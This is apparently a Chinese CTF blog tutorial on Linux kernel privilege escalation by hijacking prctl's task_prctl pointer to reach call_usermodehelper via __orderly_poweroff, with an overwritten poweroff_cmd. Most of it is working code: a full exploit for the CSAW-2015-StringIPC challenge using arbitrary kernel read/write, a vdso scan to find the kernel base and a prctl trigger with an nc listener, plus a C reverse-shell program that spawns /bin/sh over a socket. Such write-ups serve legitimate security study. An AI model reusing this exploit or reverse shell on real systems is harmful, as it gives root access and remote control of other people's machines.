linux kernel pwn学习之hijack prctl

Prctl是linux的一个函数，可以对进程、线程做一些设置，prctl内部通过虚表来调用对应的功能，如果我们劫持prctl的虚表，使它指向其他对我们有帮助的内核函数，比如call_usermodehelper函数，该函数执行一个用户传入的二进制文件，且以root权限执行，由此可以利用起来提权。

我们分析一下prctl源码，在linux/kernel/sys.c里，我们看到这

我们继续跟进，查看security_task_prctl函数，在linux/security/security.c文件里找到

函数调用了task_prctl表里的函数，因此，如果我们劫持task_prctl表，就能通过执行prctl来执行我们想要的函数，比如call_usermodehelper函数。为了确定我们该劫持的表的地址，我们先写一个小demo.c

#include <sys/prctl.h>  
  
int main() {  
   prctl(0,0);  
}  

然后，编译，放到系统里，我们先查看一下security_task_prctl函数的地址

接下来，我们用gdb在这里断点，然后运行我们的demo程序

成功断点

继续单步运行，到这里

从而，我们确定了task_prctl表的地址，减去内核基地址，我们就能确定task_prctl的偏移了。在这里，我们得到的是偏移是0xeb8118。

有一点不幸的是, 传入security_task_prctl函数的第一个参数被截断了，这意味着，如果我们把task_prctl劫持为call_usermodehelper，在64位下不能完成利用。

因为call_usermodehelper函数的第一个参数是一个字符串地址

为了解决这个问题，我们可以借鉴一下glibc下劫持为one_gadget的思想，我们来搜索一下有没有类似的one_gadget可以使用。我们在内核源码里搜索哪些函数调用了call_usermodehelper函数。

我们发现mce_do_trigger函数可以用，它调用call_usermodehelper函数的前两个参数来自全局数据段，或许可以被我们劫持修改

我们有找到几个合适的

其中run_cmd调用了call_usermodehelper函数。由此，**我们只需要把prctl_task劫持到这几个函数，比如__orderly_poweroff，然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl，就会以root权限执行我们的二进制文件，从而提权。**我们可以执行一个反弹shell的程序，然后用nc来连接。

为了实现上述目标，我们首先需要得到内核基址，之前，我在https://blog.csdn.net/seaaseesa/article/details/104694219这篇博客里讲到了劫持vdso，我们同样需要利用一下，我们计算出了vdso的地址后，就能算出内核的基址，因为它们之间的差值是不变的。

我们以CSAW-2015-StringIPC为例，它的exploit.c如下

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <sys/ioctl.h>  
#include <sys/prctl.h>  
#include <sys/time.h>  
#include <sys/auxv.h>  
  
#define CSAW_IOCTL_BASE     0x77617363  
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1  
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2  
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3  
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4  
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5  
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6  
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7  
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8  
//poweroff字符串的偏移  
#define POWEROFF_CMD 0xE4DFA0  
//orderly_poweroff函数的偏移  
#define ORDERLY_POWEROFF 0x9c950  
//task_prctl的偏移  
#define TASK_PRCTL 0xeb8118;  
  
struct alloc_channel_args {  
    size_t buf_size;  
    int id;  
};  
  
struct shrink_channel_args {  
    int id;  
    size_t size;  
};  
  
struct read_channel_args {  
    int id;  
    char *buf;  
    size_t count;  
};  
  
struct write_channel_args {  
    int id;  
    char *buf;  
    size_t count;  
};  
  
struct seek_channel_args {  
    int id;  
    loff_t index;  
    int whence;  
};  
  
void errExit(char *msg) {  
   puts(msg);  
   exit(-1);  
}  
//驱动的文件描述符  
int fd;  
//初始化驱动  
void initFD() {  
   fd = open("/dev/csaw",O_RDWR);  
   if (fd < 0) {  
      errExit("[-] open file error!!");  
   }  
}  
  
//申请一个channel,返回id  
int alloc_channel(size_t size) {  
   struct alloc_channel_args args;  
   args.buf_size = size;  
   args.id = -1;  
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);  
   if (args.id == -1) {  
      errExit("[-]alloc_channel error!!");  
   }  
   return args.id;  
}  
  
//改变channel的大小  
void shrink_channel(int id,size_t size) {  
   struct shrink_channel_args args;  
   args.id = id;  
   args.size = size;  
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);  
}  
//seek  
void seek_channel(int id,loff_t offset,int whence) {  
   struct seek_channel_args args;  
   args.id = id;  
   args.index = offset;  
   args.whence = whence;  
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);  
}  
//读取数据  
void read_channel(int id,char *buf,size_t count) {  
   struct read_channel_args args;  
   args.id = id;  
   args.buf = buf;  
   args.count = count;  
   ioctl(fd,CSAW_READ_CHANNEL,&args);  
}  
//写数据  
void write_channel(int id,char *buf,size_t count) {  
   struct write_channel_args args;  
   args.id = id;  
   args.buf = buf;  
   args.count = count;  
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);  
}  
//任意地址读  
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {  
   seek_channel(id,addr-0x10,SEEK_SET);  
   read_channel(id,buf,count);  
}  
//任意地址写  
//由于题目中使用了strncpy_from_user,遇到0就会截断，因此，我们逐字节写入  
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {  
   for (int i=0;i<count;i++) {  
      seek_channel(id,addr+i-0x10,SEEK_SET);  
      write_channel(id,buf+i,1);  
   }  
}  
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移  
int get_gettimeofday_str_offset() {  
   //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx  
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);  
   char* name = "gettimeofday";  
   if (!vdso_addr) {  
      errExit("[-]error get name's offset");  
   }  
   //仅需要搜索1页大小即可，因为vdso映射就一页0x1000  
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));  
   if (name_addr < 0) {  
      errExit("[-]error get name's offset");  
   }  
   return name_addr - vdso_addr;  
}  
  
int main() {  
   char *buf = (char *)calloc(1,0x1000);  
   initFD();  
   //申请一个channel，大小0x100  
   int id = alloc_channel(0x100);  
   //改变channel大小，形成漏洞,实现任意地址读写  
   shrink_channel(id,0x101);  
   //获取gettimeofday字符串在vdso.so里的偏移  
   int gettimeofday_str_offset = get_gettimeofday_str_offset();  
   printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);  
   size_t vdso_addr = -1;  
   for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {  
      //读取一页数据  
      arbitrary_read(id,buf,addr,0x1000);  
      //如果在对应的偏移处，正好是这个字符串，那么我们就能确定当前就是vdso的地址  
      //之所以能确定，是因为我们每次读取了0x1000字节数据，也就是1页，而vdso的映射也只是1页  
      if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {  
         printf("[+]find vdso.so!!\n");  
         vdso_addr = addr;  
         printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);  
         break;  
      }  
   }  
   if (vdso_addr == -1) {  
      errExit("[-]can't find vdso.so!!");  
   }  
   //计算出kernel基地址  
   size_t kernel_base = vdso_addr & 0xffffffffff000000;  
   printf("[+]kernel_base=0x%lx\n",kernel_base);  
   size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;  
   printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);  
   size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;  
   printf("[+]poweroff_cmd_addr=0x%lx\n",orderly_poweroff_addr);  
   size_t task_prctl_addr = kernel_base + TASK_PRCTL;  
   printf("[+]task_prctl_addr=0x%lx\n",task_prctl_addr);  
   //反弹shell，执行的二进制文件，由call_usermodehelper来执行，自带root  
   char reverse_command[] = "/reverse_shell";  
   //修改poweroff_cmd_addr处的字符串为我们需要执行的二进制文件的路径  
   arbitrary_write(id,reverse_command,poweroff_cmd_addr,strlen(reverse_command));  
   //hijack prctl，使得task_prctl指向orderly_poweroff函数  
   arbitrary_write(id,&orderly_poweroff_addr,task_prctl_addr,8);  
   if (fork() == 0) { //fork一个子进程，来触发shell的反弹  
      prctl(0,0);  
      exit(-1);  
   } else {  
      printf("[+]open a shell\n");  
      system("nc -lvnp 7777");  
   }  
  
   return 0;  
}

而qwb2018-solid_core同样，也是这个解法，稍作一下修改即可。反弹shell的程序如下

#include<stdio.h>  
#include<stdlib.h>  
#include<sys/socket.h>  
#include<netinet/in.h>  
#include <fcntl.h>   
#include <unistd.h>  
  
char server_ip[]="127.0.0.1";  
uint32_t server_port=7777;  
  
int main()   
{  
    int sock = socket(AF_INET, SOCK_STREAM, 0);  
    struct sockaddr_in attacker_addr = {0};  
    attacker_addr.sin_family = AF_INET;  
    attacker_addr.sin_port = htons(server_port);  
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);  
    while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);  
    dup2(sock, 0);  
    dup2(sock, 1);  
    dup2(sock, 2);  
    system("/bin/sh");  
}